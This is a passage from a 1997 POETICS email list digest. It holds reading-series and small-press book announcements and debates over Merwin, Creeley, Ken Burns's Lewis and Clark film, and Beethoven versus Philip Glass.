>
> we are bringing across the Atlantic. We had better be very sure that we
> are bringing all the pieces along. I don't have any answers here.

Maybe
> your sources do. I'd love to hear them.
>
>Whatcha think?
>
>Cheers,
>
>Harold
>
>

↑ Index

84. Louis Cabri

Philly Talks

Thu 6 Nov 1997

Philly Talks is both an event & a web/hard copy newsletter. The newsletter presents brief written responses by two poets, each to the other's work/context. The event extends those responses in dialogue, after readings by the poets. Available so far:

Philly Talks #1 (Oct. 30 & 31, 1997):
David Bromige (response to Moriarty's *Symmetry* [Avec Books])
Laura Moriarty (response to Bromige's *A Cast of Tens* [Avec Books])

Philly Talks #2 (Nov. 4 & 5, 1997):
Andrew Levy (response to Mac Low's *Barnesbook* [Sun & Moon])
Jackson Mac Low (response to *Continuous/Discontinuous* [Potes & Poets])

Philly Talks #1 is temporarily lodged at:
http://dept.english.upenn.edu/~wh/events/phillytalks1.html
#2 will be up shortly.

Hard copies of both newsletters are available for the grand total of $US 1 by emailing your request to [redacted]

The series is curated/edited by Louis Cabri and made possible thanks to Kelly Writers House and University of Pennsylvania.

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85. **lefthandb**
(no subject)
Thu 6 Nov 1997

LEFT HAND BOOKS announces the publication of FOUNDATIONS by James Walsh. 128 pages + four-color insert; paper; $15.00

FOUNDATIONS documents James Walsh's wall-hung and site/non-site specific sculptures executed in various materials: mud, seed cones, leaves, plastic tubes, chalk, mason's line, bricks and stones. These rectangular forms evoke building foundations and what Robert Smithson termed "ruins in reverse, that is-all the new construction that would eventually be built." Each foundation Walsh made "is a simple rearranging of the site." His text mirrors his off-hand style of sculpting and calls for the same "diffuse attention." The writing's open framework corresponds to the notions of containment and dispersal embodied by the foundations. Walsh scatters passages from different writers and artists across the reader's field of attention, interspersing them with autobiographical passages, proposals for new sculptures-Foundation on the Surface of the Moon, for example-and commentary on his own and other artists' work. He writes: "My interests are diffuse and can be drawn out and elaborated, but not at the expense of their sometimes fragile, tenuous connections." This copiously illustrated book contains maps to most of the foundations Walsh made. Walsh's text is itself a map, siting his foundations both within his personal history and the history of culture. Walsh links his work to both ancient and modern contexts, revealing how his minimalist work connects to the Nazca lines and 20th century land art. His sculpture's flatness aligns it to drawing; and he describes Walter de Maria's Half Mile Long Drawing in the Mohave Desert as having "the relationship to landscape I've been thinking of: minimal marking, defining and condensing interior space, drawing in and focusing exterior space, a way of organizing the landscape."

Available through SPD
1341 Seventh Street
Berkeley CA 94710

DAP
636 Broadway, 12th Floor
New York, New York 10012

or direct from the publisher

write for our FREE CATALOG at:

LEFT HAND BOOKS
Station Hill Rd.
Barrytown, New York 12507

or

visit our website at <http://www.lefthandbooks.com/lhb>

Bryan McHugh, Director
LEFT HAND BOOKS
Station Hill Road
Barrytown, NY 12507
Fax: [redacted]
e-mail: [redacted]

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86. Pritchett,Pat
Re: Lewis and Clark
Thu 6 Nov 1997

Well, Joe, I only walked in on the last 15 minutes of the latest Burns paean to American mythology, but I found it rather treacly and distasteful. But then, I'd just spent the previous two hours reading Said's _Culture and Imperialism_, so that's understandable.

Several things occured to me though - if I see/hear Stephen Ambrose and his gravel mixer voice trotted out one more time in defense of Ike, Lewis & Clark or any other icons or shibboleths of American identity formation/essentialism I'm going to puke. And where were the possibly dissenting or at least more critical voices among Western historians - Patty Limerick, Don Worster or Richard Slotkin - didn't see their names in the title crawl.

A few years back someone (Hodding Carter?) wrote an amusing little book about retracing L & C's path - impossible now of course. You can't even sail a small boat up the Mississippi thanks to all the commerce and the regulatory devices installed by the Army Corps of Engineers. The Missouri itself is dammed in so many places - for recreational lakes and power supply - that it's also unnavigable.

And as for Thom. Jefferson's "vision" of the West: one can do some very instructive reading about that vision in his letters (in the Library of America edition) where he outlines his policy for divesting Native Americans of their land holdings via unscrupulous lending practices and foreclosure. Oh yeah - he was all over that vision thing baby. _____ Jordan - to my knowledge, Jack Collom doesn't dabble on the Net. But his partner Jennifer Heath may have done so. Those haiku _do_ have a Collomesque touch, don't they? I think I saw can of Spam in Jack's kitchen once. Coincidence - or something else?

Patrick Pritchett

From: Safdie Joseph
To: POETICS
Subject: Re: Lewis and Clark
Date: Wednesday, November 05, 1997 7:30PM

(No, not Lewis McAdams and Tom Clark -- though I doubt many will know of their collaborations of the early 70s)

"The Corps of Discovery"

"The Real Unknown"

Come home Ken Burns

all is forgiven

(the shlocky Civil War)

(the maudlin Baseball)

THIS was True Romance

(Part II tonight, PBS)

the unmediated language

the Rockies, the Plains

geography's smell, history's taste

(it ain't lang-po)

HIGHLY RECOMMENDED!

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87. Mark Prejsnar
Re: Sleep of poetics
Thu 6 Nov 1997

In my opinion, it ain't held sacred by all.....that's why we need a radical over-haul of the values and perceptions our society is founded on. (I refer to it "the old fashioned way"--as revolution.)

Mark p.

On Wed, 5 Nov 1997, p. durgin wrote:

> *Mark,*
> *"the flowering of culture" -- "public space"*
> *poet-types can set the example for what I believe is a lost notion to most non-poet-types (non-artists, I should say), but it's foggy, by what means*

> *they can but may they?*
> *and if the notion of a public space is actually known to and held sacred by all, why do we not dare to inhabit it?*
>
> |||[redacted]|||
>
> ———————————————

↑ Index

88. **Mark Prejsnar**
Re: Other poetry discussions
Thu 6 Nov 1997

Brent--

If you've got somethin' to say about Merwin or the Waldrops, why not post it (even if it's not as thoroughly worked-out as an essay you'd publish...even if it's somewhat off the top of yer head??)

The best way to get things going in the direction you want, on the list (as I've discovered from experience) is to just start yattering along the lines you'd like people to pursue...I dare say you'll find more Waldrop fans than Merwin fans on this list (??but I may be guessing wrong) and that a substantial number of folks who like one don't like the other.

But it's opinion that make the poet-races....

Mark P.
Atlanta

On Wed, 5 Nov 1997, Brent Long wrote:

> *I have been thinking about the idea of other discussion lists this morning, and am wondering why there are no discussions on some of the other contemporary poets that are around these days. I never hear anything on Merwin (a personal favorite of mine) or Levertov or other writers like that. I saw a posting today announcing Rosmarie Waldrop's upcoming reading tonight, but she and her work are never discussed here, either, and that is a shame. She and her husband are both amazing poets. I certainly don't see myself as being attracted to only one or two "styles" of poetry, and would really like to see a broad range of writers and styles addressed.*
> *What do some of you think? Is there a call to pursue this?*
>
> *Brent*

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89. William Burmeister Prod

Re: Other Poetics Lists -Reply

Thu 6 Nov 1997

There is also a poetics discussion list at

[redacted]

(the erstwhile space for backdoor revival announcements)

> *A modernism discussion list already exists--at the University of Washington.*
>
> *I've been on the list for a couple of weeks now and haven't gotten very much mail. . . . so I don't know how lively, long, and involved the threads get.*
>
> *Maybe we can perk it up a bit.*
>
> *I think a modernist discussion list is a great idea, but how to go about it?*

>>>Anyone aware of any other poetics lists that may be out there?
>>>Thanks,
>There's a list of lists at gopher://gopher.english.upenn.edu/11/Lists/
>Their listings includes beat-l, cap-l (contemporary American poetry),
>modbrits (might include some poetics, but not much), and tse (T. S. Eliot,
>which we run here at Missouri). They don't seem to have an entry, oddly,
>for Poetics--nor for the Pound list at Maine. And I'm sure there is a
>discussion list for Irish poetry and literature somewhere. I also run a
>very small
>James Merrill list--discussing JM's symbolist poetics of late.
>
>What I'd like to see is a list that would discuss modern poets: for
>example, Stevens, Moore, Crane, Frost, Loy, Williams, Hughes, Auden,
>Moore. In other words, poets in the first generation of modernists who
>don't have a list
>of their own (Pound, Eliot) and who wouldn't be discussed on cap-l or
poetics.
>
> would you be interested in such a list?
>

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90. Brian McHale
Re: computer program for syntactic structures
Thu 6 Nov 1997

Re: David Benedetti poem-making program -- check out Charles O Hartman's book "Vitual Muse," from last year (Wesleyan UP), where various such programs are described & some of their texts displayed. The poems are not all that strong, frankly, but they do belong to recognizable types of contemporary poetry, which I think is interesting. Hartman's reflections on his experience with these pro grams are also interesting -- not profound, but a place to start. Brian

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91. rob wilson
Re: POETICS Digest - 2 Nov 1997 to 3 Nov 1997
Thu 6 Nov 1997

Somebody asked, why not discuss W. S. Merwin. A contributor's note on him in Hawaii Review once said, "W. S. Merwin is W. S. Merwin." Period. So everybody as it were recognizes the style, stance, voice. Oppen called this, caustically, "the Merwin," meaning that Merwin's poetry had at some point reified into a market position, a period style magazine diction, all experimentation and risk-- at some point-- over. I believe sadly this is so. The voice is desiccated, burnt out, having written the subjectivity/self out as a source of wisdom or anything else. His turning belatedly to Hawaiian materials only reeks of his latest imperial gesture, sad, appropriative, it does belong in there with the furniture ads of the New Yorker or the perfumes of a US selfhood converted to Shelley pose. Sad. Invidious comparison number two: Robert Creeley gave a reading in Santa Cruz yesterday to a packed house of 300 at Kresgee Town Hall, UCSC. Peter Gizz introduced him elegantly, referring to his life project of language invention, the new englandy economy of phrasing, the recoding via new contexts of words like 'hello' until even these became odd, perverse. Creeley read and talked around the body of his life work. The last poem he read was a long one and on the border-of-death masterpiece, called "Histoire de Florida" in which the tropes and twists of his whole life's writing project is recall as la "Ashphodel that Greeny Flower," but oddly the voice and figure of sublime influence that returns to haunt the pome is Wallace Stevens. Creely talked for about fifteen mintues afterwards about what Stevens meant tohim, how hw was his first love as a poet but that the WS long line was not rright for him so he turned to the taut economy of WSW and weirded that out into the necessary prosody of his life. Pretty amazing event. Many who left the audience were grateful for his work, for him, as Paul Bove was said "this is a great man on the earth." There is no such thing as "the Creeley" and never will be. Honor is indeed due. The

amazing coming to terms with his body and vision at all points of exactitude.
Rob Wilson

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92. Harold Rhenisch
Ludwig von Glass
Thu 6 Nov 1997

Mark,

What I had in mind was not the integrity of either Beethoven or Glass, and the same follows for Pope or Wordsworth or cummings. I find a vast difference between listening to Beethoven out of his cultural context and Glass within his. Beethoven is meaningful to me because his work is still being carried on. There are (at least!) two ways of approaching the tradition of art or poetics: 1) there is a canon of achievement which we can celebrate and learn from, and 2) there is a tradition of creation which gave rise to that canon and which is ongoing. We can approach the act of art through 1 or 2, but there is a cost to both. My bias is with 2. Yours appears to be with 1. I think if students are going to some day be true writers or readers, we need to incorporate both approaches. At the very least, whatever approach we choose contains its own hidden biases. They may be the strongest of all. This goes for Pina Bausch's company, too. Whatever the attractions of her art, it is still created in a context. I'd like to be clear on that context before I re-created the art, or we will actually be re-creating something entirely different, perhaps merely our own biases. Some translation is probably necessary. The whole point was that we should be clear what we are doing when we spend our meagre resources so that we can get the most from the least. If money is really tight, then I feel we need to spend it wherever it can start a momentum of its own. Ah, heck, that's probably what you meant, too.

Best,

Harold Rhenisch

****
Mark Weiss wrote:

No, Glass does not inform the appreciation of nor influence the survival of Beethoven. The late quartets, the last three piano sonatas and the diabelli variations have a lot more to do with it, and I'd guess that the vast majority of those who learn from Beethoven are only dimly aware of Glass. But that's rather beside the point. I think you're contending that only those who make art can teach it, and only teaching the making can imbue the love of same. If that were true there'd be a very small audience. Myself, I barely whistle, and barely scribble, but I think I've managed to turn on more than a few to musical and visual

thought--and the examplary passion is a large part of the persuasion. Some of those so persuaded, given the luck and talent, will make new things themselves. Others will value what's made and lead richer lives for the time given.

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93. LYNES- KATHERINE

Re: Other Poetics Lists

Thu 6 Nov 1997

---

uh, wouldn't that be langston?

> On Tue, 4 Nov 1997, Timothy Materer wrote:
> snip
> > What I'd like to see is a list that would discuss modern poets: for
> > example, Stevens, Moore, Crane, Frost, Loy, Williams, Hughes, Auden,
> > Moore.
schuchat simon wrote:
> don't get me wrong, I like the work of some of these (Stevens, Crane,
> though which Crane? Hart or Steven, Loy, Williams, Auden, and one of the
> Moore but not the other) but aren't they well enough discussed? Aren't
> there already mounds and mounds of discussion of them? I mean, a third
> rate versifier like Frost is discussed constantly and ubiquitiously from
> 2nd or 3rd grade until post-doc. Only Mina Loy, of that list, was not
> included in my junior high school poetry syllabus. (Who is this Hughes
> person, though? Do you mean Sylvia Plath's ex husband?) It was a public
> school, too, though things may have changed in the intervening three
> hundred years, but on the other hand, some of those poets were still
> alive back then.
>
> anyway: Stevens = cornbread-heavy Ashbery
> Moore = obscure precursor of Alice Notley
> Crane = obscure precursor of John Wieners
> Frost = I prefer Kenneth Koch
> Loy = wonderful
> Williams = not Oscar, I hope
> Hughes = place in literary history for abandoning Sylvia Plath
> Auden = absolutely
> Moore = Robert Lowell's psychiatrist, supposedly had affair with Lowell's
> mother, a rather impressive feat.
>
> I will now return to lurking
>

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94. henry gould
Re: POETICS Digest - 2 Nov 1997 to 3 Nov 1997
Thu 6 Nov 1997

On Thu, 6 Nov 1997 06:56:16 -1000 rob wilson said:
>life. Pretty amazing event. Many who left the audience were grateful for
>his work, for him, as Paul Bove was said "this is a great man on the
>earth." There is no such thing as "the Creeley" and never will be. Honor
>is indeed due. The amazing coming to terms with his body and vision at all
>points of exactitude. Rob Wilson

The National Enquirer reported recently that Creeley (or "HM RC") was born of a Virgin by syllabic conception & that his one eye is actually a perfect heptapodromic crystal from the planet Jupiter; unknown to many, he's also the inventor of a method of syntactic swimming called "the Creeley". - Henry Gould

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95. Brent Long
Re: POETICS Digest - 2 Nov 1997 to 3 Nov 1997
Thu 6 Nov 1997

How you can group Merwin into a place along with the "perfume ads of the New Yorker" is beyond me. I for one am grateful for Merwin's approach and style, and feel it is still a valid and much-needed break from the typical mental-masturbation approach that many "contemporary" poets seem to fall in to, especially after being embraced by academia. A vague use of language does not a poet make, and Merwin has avoided this since the appearance of "The Carrier of Ladders" in 1973.

And please explain the connection you were trying to make between your comments on Merwin and your praise of Creeley. Creeley is an excellent writer, but I fail to see the point in bringing him into the conversation, especially since I see no corrolation between his style of writing and Merwin's.

Brent

At 06:56 AM 11/6/97 -1000, you wrote:
>Somebody asked, why not discuss W. S. Merwin. A contributor's note on him
>in Hawaii Review once said, "W. S. Merwin is W. S. Merwin." Period. So
>everybody as it were recognizes the style, stance, voice. Oppen called
>this, caustically, "the Merwin," meaning that Merwin's poetry had at some
>point reified into a market position, a period style magazine diction, all
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>belatedly to Hawaiian materials only reeks of his latest imperial gesture,
>sad, appropriative, it does belong in there with the furniture ads of the
>New Yorker or the perfumes of a US selfhood converted to Shelley pose.
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>earth." There is no such thing as "the Creeley" and never will be. Honor
>is indeed due. The amazing coming to terms with his body and vision at all
>points of exactitude. Rob Wilson
>
>

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96. aerialedge

New Deleuze, Coll Olson Prose, &&& @ Bridge Street

Thu 6 Nov 1997

Look here it's a whole mess o' fab books. Thanks Poetics. Ordering/discount information at end of the post.

1. _Bodies of Work: Essays_, Kathy Acker, Serpent's Tail, $16.00. Burroghs, Postmodernism, Greenaway, Delany, de Sade, Copyright, Constructivism, Boxcar Bertha, Colette, etc.

2. _Bookend: Anatomies of a Virtual Self_, Joe Amato, SUNY, $14.95. "We who liplock the collective lines of transmission are we as well whose uvular reality is a function of say ah and ha. . ."

3. _Endocrinology_, Mei-mei Berssenbrugge & Kiki Smith, Kelsey St Press, $17.
"Because she's in a body, it makes decisions."

4. _The Potlatch Papers: A Colonial Case History_, Christopher Bracken, U Chicago, $16.95. Variously described as an exchange of gifts, a destruction of property, a system of banking, and a struggle for prestige, the potlatch is one of the founding concepts of anthropology. However, the potlatch was in fact invented by the nineteenth-century Canadian law which sought to destroy it.

5. _Strike!_ Revised & Updated Edition, Jeremy Brecher, South End, $22. No book has done as much as _Strike!_ to bring US labor history to a wide audience.

6. _I-VI_, John Cage, Wesleyan, $24.95. New in paperback. Includes 15 track CD of Cage reading section four. "someThing / mAy here / Type / socIety / tO die / aNd / capItal / coMposed of / tIme is / abouT / A dozen people' / i was aroused by having To / to devise a fOrm of events' / there Is no / phenoMenon / Increased / and souTh"

7. _MUSICAGE: Cage muses on words, art, music_, John Cage & Joan Retallack, Wesleyan, $19.95. New in paperback. "Yes, or I often use the word useful then."

8. _An Avec Sampler_, ed. Cydney Chadwick, $8.50. New writing by Laura Moriarty, Chris Stroffolino, Laynie Browne, George Albon, Stephen-Paul Martin, Lissa McLaughlin, & Susan Smith Nash.

9. _Chain 4_, ed. Jena Osman, Juliana Spahr, & Janet Zweig, $10. The "procedures" issue. Absolutely good.

10. _Crayon Premier Issue: Festshrift for Jackson Mac Low's 75th Birthday_, edited by Andrew Levy and Bob Harrison, $20. Over 80 contributors, 313 pages, fabulous CD, hurray!

11. _Essays Critical and Clinical_, Gilles Deleuze, U Minnesota, $17.95. His last book. Addresses Melville, Whitman, Lawrence, Beckett, Jarry, Carroll, Plato, Spinoza, Nietzsche, Heidegger, & friends. The first essay is is called "Literature and Life," the last, "The Exhausted." "There is no literature without fabulation. . ."

12. _Wall Street_, Doug Henwood, Verso, $25. "You are scum. . . it's tragic that you exist." -- Norman Pearlstine, former executive editor, Wall Street Journal

13. _The Conversions_, Harry Mathews, Dalkey Archive, $11.95. Reprint of 1962 novel. "It so happened that the national hockey championships were to be played in Paris on the evening picked for the Panarchist outbreak."

14. _The Journalist_, Harry Mathews, Dalkey Archive, $12.95. Previously published by Godine in '94. As an aid to recovering from a nervous breakdown, the

narrator of _The Journalist_ begins to keep daily records of almost everything that goes on in his life. . .

15. _The Grouper_, Lissa McLaughlin, Avec Books, $8.50. "Something god-awful that you bought at a yard sale. You'll take it home. Maybe it talks to you."

16. _Membrane 2_, ed. Nigel Hinshelwood, $10. William Marsh, Jodi Bloom, Mike Hammer, Jesse Glass, Heather Fuller, Buck Downs, Beth Joselow, Bruce Andrews, Sheila E Murphy, W B Keckeler, Graham Foust, Mary Leader, Mark Wallace, Catherine Scherer, many others.

17. _Falling in Love Falling in Love With You Syntax: Selected and New Poems, Sheila E. Murphy, Potes & Poets, $16.50. From "A Pint of Training Wheels": "Easter comes to life all by itself. The niche market we are, crumb weary though accustomed. Who performs the teaching task associated with survival. Thinking does not constitute real work."

17. _catfishes & jackals_, plays by Susan Smith Nash, Potes & Poets, $12. Collects seven plays including "Clan Caliban," "Rose Lear," & "The Setting Face-to-Face in the clear light." "My. What a loud roar." "Squeaking is a kind of music. Right?"

18. _Collected Prose_, Charles Olson, ed. Donald Allen and Benjamin Friedlander with introduction by Creeley, Robert, U Cal Press, $19.95. Here it all is right here wow. The sections, each containing several pieces: "Call Me Ishmael" (yes, it's all of it), "On Melville, Dostoevsky, Lawrence, and Pound," "Human Universe," "The Present Is Prologue," "Poetry and Poets," "Space and Time," and "Other Essays, Notes, and Reviews." ". . .form is _before_ ideas, Grover Boy. . ."

19. _Selected Poems_, Charles Olson, edited by Robert Creeley, U. Cal., $14.95. From the introduction: "It is to the point that in the exceptional scale and range of Olson's work a place of intimate order abides. Thus 'the fundament stays as put as the firmament.' Each of us must find our own way. 'By ear, he sd . . .' "

20. _Selected Letters of Charles Reznikoff 1917-1976_, ed. ed. Milton Hindus, Black Sparrow, $17.50. "By the way, I never said a word to Zukofsky about you: so don't worry about Oscar."

21. _Protective Immediacy_, Rod Smith, Potes & Poets ltd edition (30 copies), $25 (sorry no discount on this one). "You're always suspicious / that you may not be doing / what you think you're doing"

22. _Collected Poetry & Prose_, Wallace Stevens, Library of America, $35.

23. _The Poetic Avant-Garde: The Groups of Borges, Auden, & Breton_, Beret E. Strong, Northwestern U Press, $24.95. "There were other firsts as well."

24. _The Zinn Reader: Writings on Disobedience and Democracy_, Howard Zinn, Seven Stories Press, Howard Zinn, $19.95.

25. Selected Poetics List bestsellas from previous Bridge St posts:
Aesthetic Theory, Theodor W. Adorno, $39.95 cl.
The L=A=N=G=U=A=G=E Book ed. Bruce Andrews & Charles Bernstein, Southern
Illonois, $18.95.
The Mooring of Starting Out: The First Five Books of Poetry, John Ashbery, Ecco, $25.
On the Level Everyday: Selected Takes on Poetry and the Art of Living, Ted Berrigan, Talisman, $12.95.
Rebecca Letters, Laynie Browne, Kelsey St., $10.
Ghostlier Demarcations: Modern Poetry and the Material Word, Michael Davidson, U. Cal., $35
_Guy Debord--Revolutionary: A Critical Biography, Len Bracken, Feral House, $14.95.
Politics of Friendship, Jacques Derrida, Verso, $20.
il cuore : the heart : selected poems 1970--1995, Kathleen Fraser, Wesleyan, $16.95.
Luminous Dreams, Allen Ginsberg, Zasterle, $10.
Hambone 13, ed Nathaniel Mackey, $10.
Some Other Kind of Mission, Lisa Jarnot, Burning Deck, $11.
Some of the Dharma, Jack Kerouac, Viking, $32.50.
Continuous Discontinuous, Andrew Levy, Potes & Poets, $13.50.
School of Fish, Eileen Myles, Black Sparrow, $14.
Cells of Release, Fiona Templeton, Roof, $13.95.
Another Language: Selected Poems, Rosmarie Waldrop, Talisman, $10.50.
Frame (1971-1991), Barrett Watten, Sun & Moon, $13.95.

Poetics folks receive free shipping on orders of more than $20. Free shipping + 10% discount on orders of more than $30. There are two ways to order. 1. E-mail your order to [redacted] with your address & we will bill you with the books. or 2. via credit card-- you may call us at [redacted] or e-mail [redacted] w/ yr add, order, card # w/ exp date & we will send a receipt with the books. We must charge some shipping for orders out of the US.

Bridge Street Books, 2814 Pennsylvania Ave NW, Washington, DC 20007.

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97. Brent Long
Re: POETICS Digest - 2 Nov 1997 to 3 Nov 1997
Thu 6 Nov 1997

---

hahahahahahahahahahaha!

At 01:25 PM 11/6/97 EST, you wrote:
>On Thu, 6 Nov 1997 06:56:16 -1000 rob wilson said:
>>life. Pretty amazing event. Many who left the audience were grateful for
>>his work, for him, as Paul Bove was said "this is a great man on the
>>earth." There is no such thing as "the Creeley" and never will be. Honor
>>is indeed due. The amazing coming to terms with his body and vision at all
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>The National Enquirer reported recently that Creeley (or "HM RC") was born
>of a Virgin by syllabic conception & that his one eye is actually a
>perfect heptapodromic crystal from the planet Jupiter; unknown to many,
>he's also the inventor of a method of syntactic swimming called "the
>Creeley". - Henry Gould
>
>

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98. Sylvester Pollet
Re: POETICS Digest - 2 Nov 1997 to 3 Nov 1997
Thu 6 Nov 1997

Yeah, and hg stands for Holy Ghost, too.

> *On Thu, 6 Nov 1997 06:56:16 -1000 rob wilson said:*
> *life. Pretty amazing event. Many who left the audience were grateful for*
> *his work, for him, as Paul Bove was said "this is a great man on the*
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> *perfect heptapodromic crystal from the planet Jupiter; unknown to many,*
> *he's also the inventor of a method of syntactic swimming called "the*
> *Creeley". - Henry Gould*

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99. Mark Prejsnar
audiopoesis
Thu 6 Nov 1997

A general query to the list...

What is/are the best sources for purchasing poetry on tape and CD??

For many years I was on the mailing list of a company called Poets Audio Center, whose catalog rounded up everything they handled, whic h was a reasonable range of stuff..Mostly contemporary but also people reading Shakespeare, Chaucer, Shelley etc. If there were never too many items radically outside the academic mainstream, I figured that was because there weren't that many available--certainly not as well-distributed as things by Caedmon and the like...

What I'm trying to track down is a source that (like the PAC to some extent did) can be a source for finding out what's commercially available, in the first place, as well as for ordering. As a library acquisitions person, my skills and tools are all about traking down this kind of info...And at the moment I can't find much. I would guess that the Poets Audio Center is kaput, as I can find so little trace of 'em.

thanx,
Mark P.
Atlanta

↑ Index

100. Christopher Reiner
New Pubs
Thu 6 Nov 1997

A quick reminder that there are five new publication listings at

http://www.litpress.com

including Tinfish, Ribot, Gas and others.

--Chris Reiner

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101. mark weiss
Re: Ludwig von Glass
Thu 6 Nov 1997

I think except for the valuation of Glass we're in agreement. Cats is probably better art than glass. There. I've waved a red flag.

At 10:34 AM 11/6/97 -0700, you wrote:
>Mark,
>
>What I had in mind was not the integrity of either Beethoven or Glass, and
>the same follows for Pope or Wordsworth or cummings. I find a vast
>difference between listening to Beethoven out of his cultural context and
>Glass within his. Beethoven is meaningful to me because his work is still
>being carried on. There are (at least!) two ways of approaching the
>tradition of art or poetics: 1) there is a canon of achievement which we
>can celebrate and learn from, and 2) there is a tradition of creation which
>gave rise to that canon and which is ongoing. We can approach the act of
>art through 1 or 2, but there is a cost to both. My bias is with 2. Yours
>appears to be with 1. I think if students are going to some day be true
>writers or readers, we need to incorporate both approaches. At the very
>least, whatever approach we choose contains its own hidden biases. They may
>be the strongest of all. This goes for Pina Bausch's company, too. Whatever
>the attractions of her art, it is still created in a context. I'd like to
>be clear on that context before I re-created the art, or we will actually
>be re-creating something entirely different, perhaps merely our own biases.
>Some translation is probably necessary. The whole point was that we should
>be clear what we are doing when we spend our meagre resources so that we
>can get the most from the least. If money is really tight, then I feel we
>need to spend it wherever it can start a momentum of its own. Ah, heck,
>that's probably what you meant, too.
>
>Best,
>
>Harold Rhenisch
>
>*********
>Mark Weiss wrote:
>
>No, Glass does not inform the appreciation of nor influence the survival of
>Beethoven. The late quartets, the last three piano sonatas and the diabelli
>variations have a lot more to do with it, and I'd guess that the vast
>majority of those who learn from Beethoven are only dimly aware of Glass.
>But that's rather beside the point. I think you're contending that only
>those who make art can teach it, and only teaching the making can imbue the
>love of same. If that were true there'd be a very small audience. Myself, I
>barely whistle, and barely scribble, but I think I've managed to turn on
>more than a few to musical and visual thought--and the examplary passion is
>a large part of the persuasion. Some of those so persuaded, given the luck

>and talent, will make new things themselves. Others will value what's made
>and lead richer lives for the time given.
>
>

↑ Index

102. **Pritchett,Pat**
Re: POETICS Digest - 2 Nov 1997 to 3 Nov
Thu 6 Nov 1997

From: Brent Long
To: POETICS
Subject: Re: POETICS Digest - 2 Nov 1997 to 3 Nov 1997
Date: Thursday, November 06, 1997 4:35PM

hahahahahahahahahahaha!

At 01:25 PM 11/6/97 EST, you wrote:
>On Thu, 6 Nov 1997 06:56:16 -1000 rob wilson said:
>>life. Pretty amazing event. Many who left the audience were grateful for
>>his work, for him, as Paul Bove was said "this is a great man on the
>>earth." There is no such thing as "the Creeley" and never will be. Honor
>>is indeed due. The amazing coming to terms with his body and vision at all
>>points of exactitude. Rob Wilson
>
>The National Enquirer reported recently that Creeley (or "HM RC") was born
>of a Virgin by syllabic conception & that his one eye is actually a
>perfect heptapodromic crystal from the planet Jupiter; unknown to many,
>he's also the inventor of a method of syntactic swimming called "the
>Creeley". - Henry Gould
>
>

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103. **Pritchett,Pat**
Re: POETICS Digest - 2 Nov 1997 to 3 Nov
Thu 6 Nov 1997

When I think of Merwin, the word "attentuated" comes to mind. It seems to me his work once inhabited a fairly vital sphere of language - but he staked everything, as it were, on a longing for the sublime - a sublime that required no real sacrifice on his part, a sublime that was mostly notable for the pretty clothes

and miming of transcendence he decked it out in ala a cut rate Wallace Stevens - and it seems to me he's lost that wager.

Rob cites Merwin's appropriation of Hawaii as a trope of rejuvenation and this too feels like a move borne from desperation. Appropriation of course is fine all of itself. But in Merwin's more recent work it feels all very thin and transparent, all very achey-breaky with sincerity, with a jesting about wounds that never felt the scars. I can no longer read either _The Lice_ nor _Carriers_ with any enjoyment - works which 10 years ago animated me. There was one poem in _Vixen_ - "Substance" I think it was - which I thought was pretty good - that is, I thought he'd managed for once not to box himself in with Merwinisms - his ardent dying falls and metaphysical nostalgias. Or rather, he gathered these concerns up very tightly and overcame their specific limitations.

I'd also second Rob's contention that Creeley's "Histoire du Florida" (not the correct "Floride" as RC defiantly noted last spring here in Boulder) is a bloody wonderful poem.

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To: POETICS
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>he's also the inventor of a method of syntactic swimming called "the
>Creeley". - Henry Gould
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>

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104. Stacie Slotnick
Re: audiopoesis
Thu 6 Nov 1997

I remember seeing once in the newsletter of the Academy of American Poets that they sell copies of their recordings.

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105. George Bowering
Re: POETICS Digest - 2 Nov 1997 to 3 Nov 1997
Thu 6 Nov 1997

Merwin?

I tried reading a little of Merwin along with other anecdotal poets about 35 years ago, and could not see any reason for going on. It seemed to be all here I am, there nature is, here's a neat conclusion.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

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106. Dean Taciuch
Re: computer program for syntactic structures
Thu 6 Nov 1997

> *Re: David Benedetti poem-making program -- check out Charles O Hartman's book "Vitual Muse," from last year (Wesleyan UP), where various such programs are described & some of their texts displayed. The poems are not all that strong, frankly, but they do belong to recognizable types of contemporary poetry, which*
> *I think is interesting. Hartman's reflections on his experience with these pro*
> *grams are also interesting -- not profound, but a place to start.*
> *Brian*

You can go to Hartman's web page (http://www.conncoll.edu/ccother/cohar/) and download one of his programs (MacProse, a text generator for Macintosh). It'll generate things like this: "Where we were theories, the equation--ice--was the library." It'll generate one at a time, or continuously (very quickly in fact, until you click). An interesting and useful tool, with some obvious limitations if

you use for awhile (certain grammatical constructions tend to recur with peculiar frequency . . .the source code is included, so I suppose one could edit it)

Dean

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107. J. Tate
Re: Frederick Turner's The Culture of Hope
Thu 6 Nov 1997

Another book if interest might be Amittai Aviram's *Telling Rhythm: Body and Meaning in Poetry* (Ann Arbor: U of Mich Press, 1994). Very different from Turner, and very readable.

Joseph Tate
Graduate Student
Department of English
U. of Washington, Seattle

On Wed, 5 Nov 1997, Aviva Vogel wrote:

> *Joseph, as a hand-drummer (African/Cuban/Haitian folkloric styles, etc.), that book might just be the answer to a previously unfulfilled quest to understand better our affinities with rhythm. Thanks for that comment. As to how applicable his theories are to poetry, or how well-supported they are, I guess I'm gonna have to find out for myself. I'm not (currently) super-interested in formal poetry, and never have been, but I leave no stone unturned in my investigations to understand all I can.*
>
> *Thanks, Aviva*

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108. George Bowering
Speaking American
Thu 6 Nov 1997

> *Date: Sun, 26 Oct 1997 14:15:18 -0600 (CST)*
> *From: Michael Quilty <[redacted]>*
> *X-Sender: [redacted]*
>
> *Speaking American*
>
> *Sometimes you forget that you're in an Alien land in which you can never expect to be comfortable. Then, fortunately, you're reminded.*
>
> *It was in the last half-decade of the twentieth centuy that I arrived in*

that odd country called 'The United States'. When I lived in Canada I confessed to one day wanting to visit four American cities--Boston, New York, San Francisco, and New Orleans. I ended up in a paint fleck of a town called Fayetteville, Arkansas, a fleck whose main significance at the time was that it was where former President Bill Clinton and his wife Hilary bought their first house.

That first year was largely one of observation, since [though I had met Americans before] I had never been in such close proximity to so many of these peculiar creatures at once. As I was an Anglophone Canadian [a species of North American prone to identity crises], the observation was punctuated by long spells of morose introspection, with which I will not burden you. I was able to protect myself from the full force of America that first year because, by happy accident, I ended up in a dorm that was peopled mostly by foreign students. I was thus able to bond with a community which saw the natives to be as unusual as I did.

